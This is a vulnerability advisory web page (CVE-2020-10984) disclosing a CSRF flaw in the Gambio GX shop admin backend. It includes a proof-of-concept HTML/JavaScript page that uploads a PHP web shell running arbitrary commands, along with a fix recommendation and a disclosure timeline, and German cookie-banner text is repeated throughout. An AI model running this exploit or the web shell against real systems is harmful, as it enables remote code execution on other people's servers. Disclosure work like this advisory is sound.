



HeroLab



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)**Advisory ID:** usd-2020-0031**CVE Number:** CVE-2020-10984**Affected Product:** Gambio GX**Affected Version:** 4.0.0.0**Vulnerability Type:** Cross-Site-Request-Forgery**Security Risk:** Critical**Vendor URL:** <https://www.gambio.de/>**Vendor Status:** Fixed in 4.0.1.0 (according to vendor)

Description

The open source application is vulnerable to a number of Cross-Site Request Forgery (CSRF) attacks. CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. A lot of critical functions are executed from the shop backend which is not secured against CSRF attacks. In the worst case CSRF can lead to code execution.

Proof of Concept (PoC)

An attacker could create an HTML page with the following content:

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/gambio/admin/admin.php?do=ContentManagerPages/saveScriptPage&type=info", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=-----14020278379273041472067101727");
xhr.withCredentials = true;
var body = "-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[selected_language]\"\r\n" +
"\r\n" +
"\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[slider_id]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[scriptpage][content_name][DE]\"\r\n" +
"\r\n" +
"shelli\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[scriptpage][content_title][DE]\"\r\n" +
"\r\n" +
"\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[scriptpage][content_text][DE]\"\r\n" +
"\r\n" +
"\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"editor_identifiers[]\"\r\n" +
"\r\n" +
"ckeditor\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[scriptpage][content_type][DE]\"\r\n" +
"\r\n" +
"content\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[scriptpage][content_file][DE]\"\r\n" +
"\r\n" +
"\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[scriptpage][content_file][DE]\"; filename=\"webshell.php\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"%x3c?php\r\n" +
"system($_GET['cmd']);\r\n" +
"?x3e\r\n" +
"\r\n" +
"-----14020278379273041472067101727\r\n" +
"Content-Disposition: form-data; name=\"content_manager[scriptpage][content_file][DE]\"\r\n" +
"\r\n" +
"file\r\n" +
"-----14020278379273041472067101727\r\n" +
var aBody = new Uint8Array(1024);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">

</form>
</body>
</html>
```



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse- und Marketingzwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



```
GET /gambio/media/content/we
Host: localhost
User-Agent: Mozilla/5.0 (X11
Accept: text/html,application
Accept-Language: en-US,en;q=
Accept-Encoding: gzip, defla
Connection: close
Upgrade-Insecure-Requests: 1
```

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)

Fix

By using token-based requests CSRF can be prevented. It can be achieved either with state (synchronizer token pattern) or stateless (encrypted or hashed based token pattern). CSRF tokens should be generated on the server-side. They can either be generated once per user session or for each request. An attacker would therefore have to guess or know the randomly generated token for a successful attack.

Timeline

- 2020-03-25 Vulnerability Discovered
- 2020-03-26 Initial Contact Request
- 2020-03-26 Advisory submitted to vendor
- 2020-05-04 Vendor publishes fix in Beta Version of Gambio GX 4.0.1.0 Beta1 <https://tracker.gambio-server.net/issues/66736>
- 2020-05 Vendor publishes 4.0.1.0 <https://developers.gambio.de/changelog/#bugfix4.0.1.0>
- 2020-06-18 Security advisory released

Credits

This security vulnerability was found by Gerbert Roitburd of usd AG.

About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory may be updated in order to provide as accurate information as possible.



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.

The information provided in this security advisory may be updated in order to provide as accurate information as possible.



HeroLabs



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

LabNews

Security Advisory zu GitLab

Dez 15, 2022

Security Advisory zu Acronis Cyber

Nov 9, 2022

Security Advisories zu Apache Tomcat

Nov 24, 2022